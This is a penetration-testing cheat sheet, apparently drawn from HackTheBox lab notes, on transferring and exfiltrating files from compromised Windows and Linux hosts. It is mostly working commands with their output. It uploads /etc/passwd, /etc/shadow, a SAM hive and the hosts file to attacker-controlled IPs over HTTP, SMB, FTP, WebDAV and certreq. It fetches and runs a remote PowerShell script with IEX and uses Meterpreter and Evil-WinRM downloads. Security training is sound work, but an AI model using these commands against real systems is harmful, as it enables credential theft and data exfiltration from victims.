Download - Exfiltration

Tool

Updog

updog --ssl --port 9090 --password "exegol4thewin" --directory /opt/resources

Living Off Trusted Sites

LOTS Project - Living Off Trusted Siteslots-project.com

Web transfer

Create a Web Server on Linux victim host

Python 3

python3 -m http.server 8000

Python 2.7

python2.7 -m SimpleHTTPServer

PHP

php -S 0.0.0.0:8000

Ruby

ruby -run -ehttpd . -p8000

Create a web server on a Windows host

Windows - HFS HTTP File Server

HFS ~ HTTP File ServerSourceForge

Powershell_HttpServer

GitHub - zh54321/PowerShell_HttpServer: Simple PowerShell HTTP Server (no dependencies, single file, PowerShell 5.1/7)GitHub

Download file

wget 192.168.49.128:8000/filetotransfer.txt

SCP

How to Use SCP Command to Securely Transfer FilesLinuxize

scp /etc/passwd htb-student@10.129.86.90:/home/htb-student/

scp remote_username@10.10.0.2:/remote/file.txt /local/directory

Base64

Windows

Transfer from victim host to attack

PS C:\htb> [Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))

IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHNhbX ... <SNIP>

echo IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHNhbXB... SNIP ... gICAgbG9jYWxob3N0DQo= | base64 -d > host

SMB

$ sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support CompData /home/ltnbob/Documents/

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

C:\> move sam.save \\10.10.15.16\CompData
        1 file(s) moved.

Metasploit - Download

Metasploit

SMBclient - get

SMB (445, 139) / RPC

smb: \> get prep-prod.txt

Source:

Manpage of SMBCLIENTwww.delafond.org

SMBmap - download

SMB (445, 139) / RPC

$ smbmap -H 10.129.14.128 --download "notes\note.txt"

[+] Starting download: notes\note.txt (116 bytes)
[+] File output to: /htb/10.129.14.128-notes_note.txt

SMB over WebDAV

From Windows to Linux

$ sudo pip3 install wsgidav cheroot

$ sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous 

[sudo] password for plaintext: 
Running without configuration file.
10:02:53.949 - WARNING : App wsgidav.mw.cors.Cors(None).is_disabled() returned True: skipping.
10:02:53.950 - INFO    : WsgiDAV/4.0.1 Python/3.9.2 Linux-5.15.0-15parrot1-amd64-x86_64-with-glibc2.31
10:02:53.950 - INFO    : Lock manager:      LockManager(LockStorageDict)
10:02:53.950 - INFO    : Property manager:  None
10:02:53.950 - INFO    : Domain controller: SimpleDomainController()
10:02:53.950 - INFO    : Registered DAV providers by route:
10:02:53.950 - INFO    :   - '/:dir_browser': FilesystemProvider for path '/usr/local/lib/python3.9/dist-packages/wsgidav/dir_browser/htdocs' (Read-Only) (anonymous)
10:02:53.950 - INFO    :   - '/': FilesystemProvider for path '/tmp' (Read-Write) (anonymous)
10:02:53.950 - WARNING : Basic authentication is enabled: It is highly recommended to enable SSL.
10:02:53.950 - WARNING : Share '/' will allow anonymous write access.
10:02:53.950 - WARNING : Share '/:dir_browser' will allow anonymous read access.
10:02:54.194 - INFO    : Running WsgiDAV/4.0.1 Cheroot/8.6.0 Python 3.9.2
10:02:54.194 - INFO    : Serving on http://0.0.0.0:80 ...

C:\htb> dir \\192.168.49.128\DavWWWRoot

 Volume in drive \\192.168.49.128\DavWWWRoot has no label.
 Volume Serial Number is 0000-0000

 Directory of \\192.168.49.128\DavWWWRoot

05/18/2022  10:05 AM    <DIR>          .
05/18/2022  10:05 AM    <DIR>          ..
05/18/2022  10:05 AM    <DIR>          sharefolder
05/18/2022  10:05 AM                13 filetest.txt
               1 File(s)             13 bytes
               3 Dir(s)  43,443,318,784 bytes free

C:\htb> copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\
C:\htb> copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\sharefolder\

FTP

From Windows victim to Linux

0xss0rz@htb[/htb]$ sudo python3 -m pyftpdlib --port 21 --write

/usr/local/lib/python3.9/dist-packages/pyftpdlib/authorizers.py:243: RuntimeWarning: write permissions assigned to anonymous user.
  warnings.warn("write permissions assigned to anonymous user.",
[I 2022-05-18 10:33:31] concurrency model: async
[I 2022-05-18 10:33:31] masquerade (NAT) address: None
[I 2022-05-18 10:33:31] passive ports: None
[I 2022-05-18 10:33:31] >>> starting FTP server on 0.0.0.0:21, pid=5155 <<<

PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')

C:\htb> echo open 192.168.49.128 > ftpcommand.txt
C:\htb> echo USER anonymous >> ftpcommand.txt
C:\htb> echo binary >> ftpcommand.txt
C:\htb> echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
C:\htb> echo bye >> ftpcommand.txt
C:\htb> ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128

Log in with USER and PASS first.


ftp> USER anonymous
ftp> PUT c:\windows\system32\drivers\etc\hosts
ftp> bye

Web exfiltration

Uploadserver

Linux to Linux

GitHub - Densaugeo/uploadserver: Python's http.server extended to include a file upload pageGitHub

$ sudo python3 -m pip install --user uploadserver

Collecting uploadserver
  Using cached uploadserver-2.0.1-py3-none-any.whl (6.9 kB)
Installing collected packages: uploadserver
Successfully installed uploadserver-2.0.1

# Create a Self-Signed Certificate
$ openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'

Generating a RSA private key
................................................................................+++++
.......+++++
writing new private key to 'server.pem'
-----

$ mkdir https && cd https

$ sudo python3 -m uploadserver 443 --server-certificate ~/server.pem

## Uplad multiple files
$ curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure

Windows victim to Linux

GitHub - Densaugeo/uploadserver: Python's http.server extended to include a file upload pageGitHub

pip3 install uploadserver

$ python3 -m uploadserver

File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

HTTPS => Create Self-Signed Certificate - See Web exfiltration - Linux to Linux

plaintext/Powershell/PSUpload.ps1 at master · juliourena/plaintextGitHub

PS C:\htb> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
PS C:\htb> Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts

[+] File Uploaded:  C:\Windows\System32\drivers\etc\hosts
[+] FileHash:  5E7241D66FD77E9E8EA866B6278B2373

PowerShell Base64 Web Upload

PS C:\htb> $b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
PS C:\htb> Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64

$ nc -lvnp 8000

listening on [any] 8000 ...
connect to [192.168.49.128] from (UNKNOWN) [192.168.49.129] 50923
POST / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682
Content-Type: application/x-www-form-urlencoded
Host: 192.168.49.128:8000
Content-Length: 1820
Connection: Keep-Alive

IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHNhbXBsZSBIT1NUUyBmaWxlIHVzZWQgYnkgTWljcm9zb2Z0IFRDUC9JUCBmb3IgV2luZG93cy4NCiMNCiMgVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBtYXBwaW5ncyBvZiBJUCBhZGRyZXNzZXMgdG8gaG9zdCBuYW1lcy4gRWFjaA0KIyBlbnRyeSBzaG91bGQgYmUga2VwdCBvbiBhbiBpbmRpdmlkdWFsIGxpbmUuIFRoZSBJUCBhZGRyZXNzIHNob3VsZA0KIyBiZSBwbGFjZWQgaW4gdGhlIGZpcnN0IGNvbHVtbiBmb2xsb3dlZCBieSB0aGUgY29ycmVzcG9uZGluZyBob3N0IG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgaG9zdCBuYW1lIHNob3VsZCBiZSBzZXBhcmF0ZWQgYnkgYXQgbGVhc3Qgb25lDQo
...SNIP...

echo <base64> | base64 -d -w 0 > hosts

Python

GitHub - Densaugeo/uploadserver: Python's http.server extended to include a file upload pageGitHub

sudo python3 -m pip install --user uploadserver

$ python3 -m uploadserver 

File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'

Netcat

nc.exe

GitHub - int0x33/nc.exe: Netcat for windows 32/64 bitGitHub

Commands

Windows File Transfers For Hackers - Juggernaut PentestingJuggernaut Pentesting Blog - A blog to help others achieve their goals in Cyber Security.

WinRM

PS C:\htb> Test-NetConnection -ComputerName DATABASE01 -Port 5985

ComputerName     : DATABASE01
RemoteAddress    : 192.168.1.101
RemotePort       : 5985
InterfaceAlias   : Ethernet0
SourceAddress    : 192.168.1.100
TcpTestSucceeded : True

PS C:\htb> $Session = New-PSSession -ComputerName DATABASE01

PS C:\htb> Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session

RDP

rdesktop

rdesktop 10.10.10.132 -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files'

xfreerdp

xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer

Remmina

File Sharing through RDP from LinuxComputer Action Team

Windows to windows

Remote Desktop File Transfer Made EasyHelpWire Blog

LOLBAS

LOLBASlolbas-project.github.io

CertReq.exe

C:\htb> certreq.exe -Post -config http://192.168.49.128:8000/ c:\windows\win.ini
Certificate Request Processor: The operation timed out 0x80072ee2 (WinHttp: 12002 ERROR_WINHTTP_TIMEOUT)

0xss0rz@htb[/htb]$ sudo nc -lvnp 8000

listening on [any] 8000 ...
connect to [192.168.49.128] from (UNKNOWN) [192.168.49.1] 53819
POST / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: application/json
User-Agent: Mozilla/4.0 (compatible; Win32; NDES client 10.0.19041.1466/vb_release_svc_prod1)
Content-Length: 92
Host: 192.168.49.128:8000

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

GTFOBins

GTFOBinsgtfobins.github.io

Metasploit

meterpreter > download c:\\boot.ini
[*] downloading: c:\boot.ini -> c:\boot.ini
[*] downloaded : c:\boot.ini -> c:\boot.ini/boot.ini
meterpreter >

WinRM

Evil-WinRM

.Evil-WinRM* PS C:\Users\Administrator\Desktop> download 20240308092156_BloodHound.zip

Resources

Windows File Transfers For Hackers - Juggernaut PentestingJuggernaut Pentesting Blog - A blog to help others achieve their goals in Cyber Security.

File Transfer Cheatsheet: Windows and LinuxHacking Articles

https://ppn.snovvcrash.rocks/pentest/infrastructure/file-transferppn.snovvcrash.rocks

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Last updated 1 year ago

hashtagTool

hashtagLiving Off Trusted Sites

hashtagWeb transfer

hashtagCreate a Web Server on Linux victim host

hashtagPython 3

hashtagPython 2.7

hashtagPHP

hashtagRuby

hashtagCreate a web server on a Windows host

hashtagWindows - HFS HTTP File Server

hashtagPowershell_HttpServer

hashtagDownload file

hashtagSCP

hashtagBase64

hashtagWindows

hashtagTransfer from victim host to attack

hashtagSMB

hashtagMetasploit - Download

hashtagSMBclient - get

hashtagSMBmap - download

hashtagSMB over WebDAV

hashtagFrom Windows to Linux

hashtagFTP

hashtagFrom Windows victim to Linux

hashtagWeb exfiltration

hashtagUploadserver

hashtagLinux to Linux

hashtagWindows victim to Linux

hashtagPowerShell Base64 Web Upload

hashtagPython

hashtagNetcat

hashtagWinRM

hashtagRDP

hashtagrdesktop

hashtagxfreerdp

hashtagRemmina

hashtagWindows to windows

hashtagLOLBAS

hashtagCertReq.exe

hashtagGTFOBins

hashtagMetasploit

hashtagWinRM

hashtagResources

Tool

Living Off Trusted Sites

Web transfer

Create a Web Server on Linux victim host

Python 3

Python 2.7

PHP

Ruby

Create a web server on a Windows host

Windows - HFS HTTP File Server

Powershell_HttpServer

Download file

SCP

Base64

Windows

Transfer from victim host to attack

SMB

Metasploit - Download

SMBclient - get

SMBmap - download

SMB over WebDAV

From Windows to Linux

FTP

From Windows victim to Linux

Web exfiltration

Uploadserver

Linux to Linux

Windows victim to Linux

PowerShell Base64 Web Upload

Python

Netcat

WinRM

RDP

rdesktop

xfreerdp

Remmina

Windows to windows

LOLBAS

CertReq.exe

GTFOBins

Metasploit

WinRM

Resources